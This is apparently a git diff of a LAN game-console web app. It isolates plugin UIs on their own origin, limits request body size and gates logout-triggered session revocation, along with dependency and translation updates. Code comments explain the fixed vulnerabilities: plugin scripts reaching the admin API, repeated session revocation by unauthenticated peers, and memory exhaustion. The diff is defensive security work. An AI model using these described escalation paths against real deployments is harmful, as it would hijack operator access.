"", {}, "sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA=="], - "postcss": ["postcss@8.5.22", "", { "dependencies": { "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-KBDEIpLrvpv16pp3K0Fw+UCoZfopFjjgeB+0tA/aaThfEE74kKDLrgg603YvOWJyg3+WYtyq3xYsQWsIyZlPqQ=="], + "postcss": ["postcss@8.5.25", "", { "dependencies": { "nanoid": "^3.3.16", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw=="], "postcss-load-config": ["postcss-load-config@6.0.1", "", { "dependencies": { "lilconfig": "^3.1.1" }, "peerDependencies": { "jiti": ">=1.21.0", "postcss": ">=8.0.9", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["jiti", "postcss", "tsx", "yaml"] }, "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g=="], @@ -2196,7 +2196,7 @@ "unctx": ["unctx@2.5.0", "", { "dependencies": { "acorn": "^8.15.0", "estree-walker": "^3.0.3", "magic-string": "^0.30.21", "unplugin": "^2.3.11" } }, "sha512-p+Rz9x0R7X+CYDkT+Xg8/GhpcShTlU8n+cf9OtOEf7zEQsNcCZO1dPKNRDqvUTaq+P32PMMkxWHwfrxkqfqAYg=="], - "undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="], + "undici": ["undici@7.29.0", "", {}, "sha512-IDxfleLmmbSskfWSUATiN1nfn2rDuvnMOqb5CWR92iIfojA0Ud+ulOAAEQ57LPr9rWmsreUyf5lwyao+7GNNVw=="], "undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="], diff --git a/web/bun.nix b/web/bun.nix index 04d48302..12f9df09 100644 --- a/web/bun.nix +++ b/web/bun.nix @@ -2151,10 +2151,6 @@ url = "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz"; hash = "sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg=="; }; - "balanced-match@1.0.2" = fetchurl { - url = "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"; - hash = "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="; - }; "balanced-match@4.0.4" = fetchurl { url = "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz"; hash = "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="; @@ -2199,13 +2195,9 @@ url = "https://registry.npmjs.org/body-scroll-lock/-/body-scroll-lock-4.0.0-beta.0.tgz"; hash = "sha512-a7tP5+0Mw3YlUJcGAKUqIBkYYGlYxk2fnCasq/FUph1hadxlTRjF+gAcZksxANnaMnALjxEddmSi/H3OR8ugcQ=="; }; - "brace-expansion@2.1.2" = fetchurl { - url = "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.2.tgz"; - hash = "sha512-w5JZcKgdhDOgOwm8H+KgbosopHMuGcl6qbulwjtz3SM7I7P3yW1eAjzMPLrIE+NQ9vjgANKHWeMHnrT0OXW1oA=="; - }; - "brace-expansion@5.0.7" = fetchurl { - url = "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.7.tgz"; - hash = "sha512-7oFy703dxfY3/NLxC1fh2SUCQ0H9rmAY+5EpDVfXjUTTs+HEwR2nYaqLv+GWcTsumwxPfiz6CzCNkwXwBUwqCA=="; + "brace-expansion@5.0.9" = fetchurl { + url = "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.9.tgz"; + hash = "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg=="; }; "braces@3.0.3" = fetchurl { url = "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz"; @@ -2815,9 +2807,9 @@ url = "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz"; hash = "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA=="; }; - "fast-uri@3.1.4" = fetchurl { - url = "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz"; - hash = "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw=="; + "fast-uri@3.1.5" = fetchurl { + url = "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.5.tgz"; + hash = "sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw=="; }; "fastq@1.20.1" = fetchurl { url = "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz"; @@ -3911,9 +3903,9 @@ url = "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz"; hash = "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g=="; }; - "postcss@8.5.22" = fetchurl { - url = "https://registry.npmjs.org/postcss/-/postcss-8.5.22.tgz"; - hash = "sha512-KBDEIpLrvpv16pp3K0Fw+UCoZfopFjjgeB+0tA/aaThfEE74kKDLrgg603YvOWJyg3+WYtyq3xYsQWsIyZlPqQ=="; + "postcss@8.5.25" = fetchurl { + url = "https://registry.npmjs.org/postcss/-/postcss-8.5.25.tgz"; + hash = "sha512-DTPx3RWSSnWyzLxQnlH0rJP+EW5ekl16ZU4/psbIhA0e53kJfdgaN5vKM+xP7yJtXVu+nfdVFmlgFDEKAe4Pyw=="; }; "powershell-utils@0.1.0" = fetchurl { url = "https://registry.npmjs.org/powershell-utils/-/powershell-utils-0.1.0.tgz"; @@ -4619,9 +4611,9 @@ url = "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz"; hash = "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="; }; - "undici@7.28.0" = fetchurl { - url = "https://registry.npmjs.org/undici/-/undici-7.28.0.tgz"; - hash = "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="; + "undici@7.29.0" = fetchurl { + url = "https://registry.npmjs.org/undici/-/undici-7.29.0.tgz"; + hash = "sha512-IDxfleLmmbSskfWSUATiN1nfn2rDuvnMOqb5CWR92iIfojA0Ud+ulOAAEQ57LPr9rWmsreUyf5lwyao+7GNNVw=="; }; "unenv@2.0.0-rc.24" = fetchurl { url = "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz"; diff --git a/web/messages/de.json b/web/messages/de.json index c1221d92..65f2c054 100644 --- a/web/messages/de.json +++ b/web/messages/de.json @@ -10,6 +10,11 @@ "nav_library": "Bibliothek", "nav_plugins": "Plugins", "plugin_offline_title": "Dieses Plugin läuft nicht", + "plugin_origin_untrusted_title": "Port dieses Plugins einmal bestätigen", + "plugin_origin_untrusted_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dein Browser vertraut dem Zertifikat dieses Hosts für den Konsolen-Port, aber noch nicht für diesen — und in einem Frame kann er nicht nachfragen. Öffne ihn einmal in einem Tab, bestätige das Zertifikat und komm zurück.", + "plugin_origin_untrusted_open": "In neuem Tab öffnen", + "plugin_origin_unavailable_title": "Plugin-Oberflächen sind nicht verfügbar", + "plugin_origin_unavailable_hint": "Plugin-Oberflächen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dieser Port konnte nicht geöffnet werden, deshalb bleiben sie deaktiviert. Sieh ins Konsolen-Log, setze dann PUNKTFUNK_UI_PLUGIN_PORT auf einen freien Port und starte neu.", "plugin_offline_hint": "Starte den Scripting-Runner und versuche es erneut.", "plugin_retry": "Erneut versuchen", "plugin_open_new_tab": "In neuem Tab öffnen", @@ -270,6 +275,8 @@ "library_field_logo": "Logo-Bild-URL", "library_field_command": "Startbefehl", "library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.", + "library_field_password": "Konsolen-Passwort", + "library_field_password_help": "Ein Startbefehl läuft auf dem Host mit deinen Rechten. Bestätige zum Speichern dein Konsolen-Passwort.", "library_field_platform": "Plattform", "library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.", "library_field_description": "Beschreibung", @@ -285,9 +292,25 @@ "library_field_players": "Spieler", "library_details_legend": "Details (optional)", "library_owned_by": "über {provider}", - "library_providers_title": "Von Plugins synchronisiert", - "library_providers_help": "Diese Einträge gehören einem Plugin und lassen sich deshalb nicht einzeln bearbeiten oder löschen — das Plugin synchronisiert sie neu. Ist das Plugin weg, entferne seine Einträge hier.", "library_provider_count": "{count} Einträge", + "library_launchers_title": "Launcher", + "library_empty_add_source": "Füge unten eine Spielquelle hinzu, damit deine installierten Spiele hier erscheinen.", + "library_add_source": "Quelle hinzufügen", + "library_source_detected": "Erkannt", + "library_source_running": "Läuft", + "library_source_stopped": "Gestoppt", + "library_source_settings": "Einstellungen", + "library_source_settings_title": "Einstellungen für {source}", + "library_source_settings_save": "Einstellungen speichern", + "library_source_settings_saved": "Einstellungen gespeichert.", + "library_source_settings_failed": "Einstellungen konnten nicht gespeichert werden: {issue}", + "library_source_settings_unreachable": "Die Einstellungen dieser Quelle sind nicht erreichbar: {issue}", + "library_source_settings_json_hint": "Die Einstellungen dieser Quelle passen in kein einfaches Formular — bearbeite sie als JSON. Sie werden vor dem Speichern geprüft.", + "library_migrate_title": "Spielquellen werden zu Plugins", + "library_migrate_help": "Jeder Launcher wird ein eigenes Add-on — du installierst nur die, die du nutzt, und jedes bekommt eigene Einstellungen. Installierst du eines, übernimmt es vom eingebauten Scanner; deine Spiele behalten ihre Kacheln. Wenn du nichts tust, ändert sich nichts.", + "library_migrate_install": "Quelle {source} installieren", + "library_source_installing": "{title} wird installiert…", + "library_source_install_failed": "Diese Quelle konnte nicht installiert werden.", "library_provider_filter": "Nur diese zeigen", "library_provider_show_all": "Alle zeigen", "library_provider_purge": "Einträge dieses Anbieters entfernen", @@ -578,5 +601,7 @@ "update_result_noop": "Deine Paketquelle hatte noch nichts Neueres — in ein paar Minuten erneut versuchen.", "update_opt_in": "Um Ein-Klick-Updates von hier zu aktivieren, einmal auf dem Host ausführen (danach ab- und wieder anmelden):", "update_result_failed": "Update auf {to} ist in Phase {stage} fehlgeschlagen.", - "update_result_log": "Installer-Log:" + "update_result_log": "Installer-Log:", + "library_field_role": "Dieser Eintrag öffnet einen Launcher", + "library_field_role_help": "Zeigt ihn in der Launcher-Reihe über deinen Spielen statt im Raster. Er startet und endet genauso wie sonst." } diff --git a/web/messages/en.json b/web/messages/en.json index d4e46593..7b4ac473 100644 --- a/web/messages/en.json +++ b/web/messages/en.json @@ -54,6 +54,11 @@ "nav_more": "More", "nav_plugins": "Plugins", "plugin_offline_title": "This plugin isn't running", + "plugin_origin_untrusted_title": "Trust this plugin's port once", + "plugin_origin_untrusted_hint": "Plugin interfaces run on their own port so a plugin can't act as you on the console. Your browser trusts this host's certificate for the console's port but not yet for theirs, and it can't ask you inside a frame. Open it once in a tab, accept the certificate, then come back.", + "plugin_origin_untrusted_open": "Open in a new tab", + "plugin_origin_unavailable_title": "Plugin interfaces are unavailable", + "plugin_origin_unavailable_hint": "Plugin interfaces are served on their own port so a plugin can't act as you on the console. That port could not be opened, so they stay switched off. Check the console log, then set PUNKTFUNK_UI_PLUGIN_PORT to a free port and restart.", "plugin_offline_hint": "Start the scripting runner, then retry.", "plugin_retry": "Retry", "plugin_open_new_tab": "Open in new tab", @@ -270,6 +275,8 @@ "library_field_logo": "Logo art URL", "library_field_command": "Launch command", "library_field_command_help": "Optional. The command the host runs to launch this title.", + "library_field_password": "Console password", + "library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.", "library_field_platform": "Platform", "library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.", "library_field_description": "Description", @@ -285,9 +292,25 @@ "library_field_players": "Players", "library_details_legend": "Details (optional)", "library_owned_by": "via {provider}", - "library_providers_title": "Synced by plugins", - "library_providers_help": "These entries are owned by a plugin, so they can't be edited or removed one at a time — the plugin re-syncs them. If the plugin is gone, remove its entries here.", "library_provider_count": "{count} entries", + "library_launchers_title": "Launchers", + "library_empty_add_source": "Add a game source below to see your installed games here.", + "library_add_source": "Add a source", + "library_source_detected": "Detected", + "library_source_running": "Running", + "library_source_stopped": "Stopped", + "library_source_settings": "Settings", + "library_source_settings_title": "{source} settings", + "library_source_settings_save": "Save settings", + "library_source_settings_saved": "Settings saved.", + "library_source_settings_failed": "Could not save the settings: {issue}", + "library_source_settings_unreachable": "Could not reach this source's settings: {issue}", + "library_source_settings_json_hint": "This source's settings don't fit a simple form, so edit them as JSON. They're checked before saving.", + "library_migrate_title": "Game sources are moving to plugins", + "library_migrate_help": "Each launcher is becoming its own add-on, so you only install the ones you use — and each gets its own settings. Install one and it takes over from the built-in scanner; your games keep the same tiles. Nothing changes if you do nothing yet.", + "library_migrate_install": "Install the {source} source", + "library_source_installing": "Installing {title}…", + "library_source_install_failed": "Could not install this source.", "library_provider_filter": "Show only these", "library_provider_show_all": "Show all", "library_provider_purge": "Remove this provider's entries", @@ -578,5 +601,7 @@ "update_result_noop": "Your package source had nothing newer yet — try again in a few minutes.", "update_opt_in": "To enable one-click updates from here, run this once on the host (then log out and back in):", "update_result_failed": "Update to {to} failed during {stage}.", - "update_result_log": "Installer log:" + "update_result_log": "Installer log:", + "library_field_role": "This entry opens a launcher", + "library_field_role_help": "Shows it in the Launchers row above your games instead of in the grid. It still starts and stops the same way." } diff --git a/web/nitro-entry/bun-https.mjs b/web/nitro-entry/bun-https.mjs index 36db5299..5994a6b1 100644 --- a/web/nitro-entry/bun-https.mjs +++ b/web/nitro-entry/bun-https.mjs @@ -14,10 +14,13 @@ // (a local CA installed per device) fronted by a server that speaks them (e.g. Caddy) — deliberately // out of scope for a LAN console; TLS (no cleartext login/session) is the win. // +// TWO LISTENERS, on purpose — see `PLUGIN ORIGIN` below. +// // Env (set by the launchers / the systemd unit — see web.env.example): // PUNKTFUNK_UI_TLS_CERT / _KEY PEM file paths (the host's cert.pem / key.pem). BOTH set ⇒ HTTPS. // Unset ⇒ plain HTTP (local dev only). // PORT / HOST standard Nitro bind (3000 / 0.0.0.0). +// PUNKTFUNK_UI_PLUGIN_PORT the plugin-UI origin's port (default: console port + 1). import "#nitro-internal-pollyfills"; import wsAdapter from "crossws/adapters/bun"; import { useNitroApp } from "nitropack/runtime"; @@ -40,6 +43,37 @@ const ws = import.meta._websocket // Read back by `peerAddress()` in server/util/auth.ts — keep the two names in sync. const PEER_IP_HEADER = "x-pf-peer-ip"; +// PLUGIN ORIGIN — which listener a request arrived on, stamped the same unforgeable way. +// +// A plugin's UI used to be reverse-proxied onto the CONSOLE's own origin and framed with +// `allow-same-origin`, which means plugin JS ran as first-party code on the console origin: it +// could `fetch('/api/**', {credentials:'same-origin'})` and the BFF would attach the operator's +// ADMIN mgmt bearer. That reached everything `plugin_may_access` withholds — arm pairing, read the +// host PIN, approve a device, read `/hooks` — i.e. any plugin was one line of JS away from full +// operator admin (2026-08-05 review H-3). The "open in new tab" link was the same escalation with +// no iframe involved at all, so no sandbox attribute could have fixed it. +// +// The fix is to make the browser's own same-origin policy the boundary, by serving plugin UIs from +// a DIFFERENT ORIGIN: a second listener on its own port. +// +// different ORIGIN — scheme+host+PORT — so SOP applies: plugin JS cannot read the console's DOM, +// and its cross-origin `fetch` of `/api/**` is unreadable (we emit no CORS) and +// unable to mutate (the Sec-Fetch-Site guard sees `same-site`, not +// `same-origin`). +// same SITE — because a cookie's scope ignores the port, and SameSite is computed on the +// site, not the origin. So the `SameSite=Lax` session cookie still flows to the +// plugin origin, and plugin pages keep loading their assets while logged in. +// +// That combination is why this works and why the obvious alternative does not: dropping +// `allow-same-origin` gives the frame an OPAQUE origin, which makes its subresource requests +// cross-site, which stops the Lax cookie, which 302s every plugin asset to /login — a blank frame. +// +// The console listener refuses `/plugin-ui/**` and the plugin listener refuses everything else +// (server/middleware/auth.ts). Both halves matter: without the first the old path still works; +// without the second, plugin JS could call `/api/**` on its OWN origin and get the admin bearer +// attached right back. +const LISTENER_HEADER = "x-pf-listener"; + // TLS from the host's identity cert (file PATHS → Bun.file, not PEM-in-env). Absent ⇒ plain HTTP. const certPath = process.env.PUNKTFUNK_UI_TLS_CERT; const keyPath = process.env.PUNKTFUNK_UI_TLS_KEY; @@ -76,13 +110,23 @@ if (!tls && secureFlag) { process.exit(1); } -const server = Bun.serve({ - port: process.env.NITRO_PORT || process.env.PORT || 3000, +/** The shared `Bun.serve` options both listeners use — only the port and the stamped lane differ. */ +const listenerOptions = (lane) => ({ host: process.env.NITRO_HOST || process.env.HOST, // Bun defaults this to 10 s, which is SHORTER than the host's 15 s SSE keep-alive comment — so a // proxied `/api/v1/events` stream (or any other quiet long-lived response) gets cut by us and // reconnects on a loop. 120 s is comfortably above any keep-alive we forward; still overridable. idleTimeout: Number.parseInt(process.env.NITRO_BUN_IDLE_TIMEOUT, 10) || 120, + // Cap the request body an UNAUTHENTICATED peer can make us hold in memory. + // + // `fetch` below buffers the whole body with `await req.arrayBuffer()` before Nitro — and + // therefore before the auth gate — has seen the request, so Bun's 128 MB default was the only + // bound on what a LAN peer could push into console RSS by POSTing to /login (2026-08-05 review + // L-10). Nothing the console legitimately accepts is remotely this large: the biggest real body + // is a hooks/library JSON edit, kilobytes. 4 MiB leaves several orders of headroom and still + // makes the memory cost of an unauthenticated request negligible. + maxRequestBodySize: + Number.parseInt(process.env.NITRO_BUN_MAX_BODY_BYTES, 10) || 4 * 1024 * 1024, // `tls: undefined` ⇒ plain HTTP (dev); otherwise HTTPS over HTTP/1.1. tls, websocket: import.meta._websocket ? ws.websocket : undefined, @@ -98,8 +142,10 @@ const server = Bun.serve({ // Strip any client-supplied value BEFORE stamping the real one (see PEER_IP_HEADER). const headers = new Headers(req.headers); headers.delete(PEER_IP_HEADER); + headers.delete(LISTENER_HEADER); const peer = server.requestIP(req)?.address; if (peer) headers.set(PEER_IP_HEADER, peer); + headers.set(LISTENER_HEADER, lane); return nitroApp.localFetch(url.pathname + url.search, { host: url.hostname, protocol: url.protocol, @@ -110,7 +156,39 @@ const server = Bun.serve({ }); }, }); + +const consolePort = Number(process.env.NITRO_PORT || process.env.PORT || 3000); +const server = Bun.serve({ ...listenerOptions("console"), port: consolePort }); console.log(`punktfunk web console listening on ${server.url} (tls=${!!tls})`); + +// The plugin-UI origin. Its own port, everything else identical. +// +// A bind failure does NOT fall back to serving plugin UIs on the console origin — that is the hole +// this exists to close, and a security boundary that disappears when a port is busy is not one. It +// degrades to "plugin UIs unavailable": the console reads the state below and renders an +// explanation instead of a frame, and everything else about the console keeps working. +const pluginPort = Number(process.env.PUNKTFUNK_UI_PLUGIN_PORT || consolePort + 1); +let pluginServer; +try { + pluginServer = Bun.serve({ ...listenerOptions("plugin"), port: pluginPort }); + // Read back by the app (server/util/pluginOrigin.ts) — same process, so process.env is the + // simplest channel, and it is only ever SET here, never trusted from the environment we started + // with (a stale inherited value would otherwise advertise a port nothing is listening on). + process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE = String(pluginPort); + process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE = String(consolePort); + console.log( + `punktfunk plugin-UI origin listening on ${pluginServer.url} (tls=${!!tls})`, + ); +} catch (e) { + delete process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE; + console.error( + `punktfunk web console: could not bind the plugin-UI origin on port ${pluginPort} ` + + `(${e?.message ?? e}). Plugin UIs are DISABLED until this is resolved — they are ` + + "deliberately not served on the console's own origin, because a plugin sharing that " + + "origin can act as the logged-in operator. Set PUNKTFUNK_UI_PLUGIN_PORT to a free port.", + ); +} + if (import.meta._tasks) { startScheduleRunner(); } diff --git a/web/package.json b/web/package.json index 499bbae1..9100dd37 100644 --- a/web/package.json +++ b/web/package.json @@ -64,11 +64,11 @@ "dompurify": "^3.4.12", "linkify-it": "^5.0.2", "sharp": "^0.35.3", - "fast-uri": "^3.1.4", + "fast-uri": "^3.1.5", "immutable": "^4.3.9", - "undici": "^7.28.0", - "postcss": "^8.5.10", + "undici": "^7.29.0", + "postcss": "^8.5.25", "js-yaml": "^4.3.0", - "brace-expansion": "^5.0.8" + "brace-expansion": "^5.0.9" } } diff --git a/web/server/middleware/auth.ts b/web/server/middleware/auth.ts index c7cac013..385f38c0 100644 --- a/web/server/middleware/auth.ts +++ b/web/server/middleware/auth.ts @@ -6,6 +6,7 @@ import { defineEventHandler, getRequestHeader, getRequestURL, + type H3Event, sendRedirect, setResponseHeader, setResponseStatus, @@ -18,25 +19,60 @@ import { sessionEpoch, uiPassword, } from "../util/auth"; +import { + consoleOriginPort, + isPluginUiPath, + listenerOf, +} from "../util/pluginOrigin"; export default defineEventHandler(async (event) => { const { pathname } = getRequestURL(event); + const listener = listenerOf(event); + const isPluginPath = isPluginUiPath(pathname); + + // ── the origin split (2026-08-05 review H-3) ──────────────────────────────────────────────── + // + // Plugin UIs live on their own origin (see nitro-entry/bun-https.mjs). Enforcing that is two + // refusals, and BOTH are load-bearing: + // + // - the console origin must not serve `/plugin-ui/**`, or the old same-origin path still works + // and nothing has changed; + // - the plugin origin must not serve anything ELSE — above all not `/api/**`. Plugin JS is + // same-origin with the plugin listener, so if that listener proxied `/api/**` the BFF would + // attach the operator's admin bearer to the plugin's own fetch and hand back exactly the + // escalation we just moved. + // + // Unconditional, not conditional on the plugin listener having bound: if it did not, plugin UIs + // are disabled and refusing here is the correct answer, not a reason to fall back. (`vite dev` + // serves one origin, but its own middleware answers `/plugin-ui` before Nitro is reached, so + // this never fires there.) + if (listener === "console" && isPluginPath) { + setResponseStatus(event, 404); + return { error: "plugin UIs are served from their own origin" }; + } + if (listener === "plugin" && !isPluginPath) { + setResponseStatus(event, 404); + return { error: "this origin serves plugin UIs only" }; + } // Baseline response headers for everything this server emits. Deliberately modest: a plugin's - // own UI is proxied onto THIS origin (/plugin-ui/**), so a script-src policy tight enough to be - // worth having would break third-party plugin pages we don't control. What is safe to assert - // unconditionally still closes the cheap holes: + // own UI is third-party code we don't control, so a script-src policy tight enough to be worth + // having would break the pages it serves. What is safe to assert unconditionally still closes + // the cheap holes: // nosniff — a plugin serving text/plain that "looks like" HTML can't be sniffed into it - // frame-ancestors— only our own pages may frame the console (the plugin iframes are same-origin) + // frame-ancestors— who may frame this; see below, it differs per origin // object-src — no Flash/applet embedding anywhere // base-uri — a stray can't repoint every relative URL on the page // Referrer-Policy— never leak a console path (which can carry ids) to an external homepage link setResponseHeader(event, "X-Content-Type-Options", "nosniff"); setResponseHeader(event, "Referrer-Policy", "no-referrer"); + // `frame-ancestors 'self'` is right for the console and WRONG for the plugin origin: 'self' + // there means the plugin origin, and the console — now a different origin — is precisely who + // needs to frame it. So the plugin origin names the console explicitly, and nobody else. setResponseHeader( event, "Content-Security-Policy", - "frame-ancestors 'self'; object-src 'none'; base-uri 'self'", + `frame-ancestors ${listener === "plugin" ? consoleFrameAncestor(event) : "'self'"}; object-src 'none'; base-uri 'self'`, ); // Same-origin check for every MUTATING request (defense in depth beyond SameSite=Lax, @@ -74,6 +110,13 @@ export default defineEventHandler(async (event) => { setResponseStatus(event, 401); return { error: "unauthorized" }; } + // The plugin origin has no /login to bounce to — it serves plugin UIs and nothing else, so a + // redirect there would land on this middleware's own 404. Answer plainly instead; the console + // probes plugin liveness server-side and renders the session-expired state itself. + if (listener === "plugin") { + setResponseStatus(event, 401); + return { error: "unauthorized" }; + } // Page navigation → bounce to the login screen, remembering where they were headed. return sendRedirect( event, @@ -81,3 +124,19 @@ export default defineEventHandler(async (event) => { 302, ); }); + +/** + * The console origin, as a `frame-ancestors` source, derived from the request the PLUGIN origin is + * answering: same scheme and hostname (whatever name the operator actually browsed to — an IP, an + * mDNS name, a hostname — so the policy matches their address bar), the console's port. + * + * Falls back to `'none'` rather than `'self'` or `*` when the console port is unknown: an unframable + * plugin page is a visible, harmless failure, and the alternatives are a policy that either does + * nothing or lets any page on the LAN frame a logged-in plugin UI. + */ +function consoleFrameAncestor(event: H3Event): string { + const port = consoleOriginPort(); + if (!port) return "'none'"; + const url = getRequestURL(event); + return `${url.protocol}//${url.hostname}:${port}`; +} diff --git a/web/server/routes/_auth/logout.post.ts b/web/server/routes/_auth/logout.post.ts index 54dc4a8e..2ce5b0f3 100644 --- a/web/server/routes/_auth/logout.post.ts +++ b/web/server/routes/_auth/logout.post.ts @@ -4,16 +4,29 @@ // stayed valid for its whole 7-day TTL and "log out" logged nothing out. Bumping the epoch means // the gate rejects every cookie sealed before now. Single-user console, so "log out" and "sign out // everywhere" are the same action — which is the safer of the two to make the default. +// +// The global revocation is the part that needs authorizing. This route lives under `/_auth/`, which +// `isPublicPath` treats as public (the login form posts here), and the CSRF guard only fires when a +// `Sec-Fetch-Site` header is actually present — so an unauthenticated LAN peer with `curl` could +// bump the epoch on a loop and keep the operator permanently signed out of their own console +// (2026-08-05 review L-11). Revoking is now gated on holding a currently-valid session; clearing +// the CALLER's own cookie stays unconditional, because that affects nobody else and keeps a stale +// session's "log out" click behaving exactly as the user expects. import { defineEventHandler, useSession } from "h3"; import { revokeAllSessions, type SessionData, sessionConfig, + sessionEpoch, } from "../../util/auth"; export default defineEventHandler(async (event) => { const session = await useSession(event, sessionConfig()); + // Read the state BEFORE clearing — `clear()` wipes what we need to authorize the revocation. + const authenticated = + session.data.authenticated === true && + session.data.epoch === sessionEpoch(); await session.clear(); - revokeAllSessions(); + if (authenticated) revokeAllSessions(); return { ok: true }; }); diff --git a/web/server/routes/_auth/ui-config.get.ts b/web/server/routes/_auth/ui-config.get.ts new file mode 100644 index 00000000..11487f71 --- /dev/null +++ b/web/server/routes/_auth/ui-config.get.ts @@ -0,0 +1,32 @@ +// GET /_auth/ui-config — the handful of deployment facts the console UI cannot work out for itself. +// +// Today that is exactly one: where plugin UIs live. They are served from a different ORIGIN than +// the console (2026-08-05 review H-3), so the browser needs the port to build the iframe URL — and +// it must come from the server, because only the server knows whether that listener actually bound. +// +// Public (the `/_auth/` prefix is), which is fine: a port number is discoverable by connecting to +// it, and nothing here is a secret. Deliberately NOT an inference the client makes for itself +// (`location.port + 1` would silently point at whatever else is on that port). +import { defineEventHandler } from "h3"; +import { pluginOriginPort } from "../../util/pluginOrigin"; + +export interface UiConfig { + /** + * How plugin UIs are reachable: + * - `origin` — from their own origin on `pluginPort` (the deployed, secure arrangement) + * - `same-origin` — `vite dev` only: one listener, and its own middleware serves `/plugin-ui` + * - `unavailable` — the plugin listener could not bind. Plugin UIs are OFF; the console must + * not fall back to its own origin, which is the hole this all exists to close. + */ + pluginUi: "origin" | "same-origin" | "unavailable"; + pluginPort: number | null; +} + +export default defineEventHandler((): UiConfig => { + const port = pluginOriginPort(); + if (port) return { pluginUi: "origin", pluginPort: port }; + // `import.meta.dev` is Nitro's build-time dev flag — false in every shipped build, so a + // production bind failure can never resolve to the same-origin arrangement. + if (import.meta.dev) return { pluginUi: "same-origin", pluginPort: null }; + return { pluginUi: "unavailable", pluginPort: null }; +}); diff --git a/web/server/routes/_plugin-health/[id].get.ts b/web/server/routes/_plugin-health/[id].get.ts new file mode 100644 index 00000000..cb482bba --- /dev/null +++ b/web/server/routes/_plugin-health/[id].get.ts @@ -0,0 +1,41 @@ +// GET /_plugin-health/ — is this plugin's UI actually up? +// +// The console needs this to decide between mounting the iframe and showing the offline card. It +// used to be a browser `fetch('/plugin-ui//__health')`, which worked only because plugin UIs +// were same-origin with the console — the very arrangement 2026-08-05 review H-3 removed. From a +// separate origin the browser could not read the answer without us serving CORS, so the probe moved +// here, to the console's own origin, and is done server-side. +// +// Session-gated like every other console route (it is not under a public prefix), so an +// unauthenticated LAN peer cannot enumerate which plugins are running. +import { defineEventHandler, getRouterParam, setResponseStatus } from "h3"; +import { fetchUiCredential, PLUGIN_ID_RE } from "../../util/pluginProxy"; + +export default defineEventHandler(async (event) => { + const id = getRouterParam(event, "id") ?? ""; + if (!PLUGIN_ID_RE.test(id)) { + setResponseStatus(event, 400); + return { ok: false, error: "not a valid plugin id" }; + } + const cred = await fetchUiCredential(id); + if (!cred) { + setResponseStatus(event, 502); 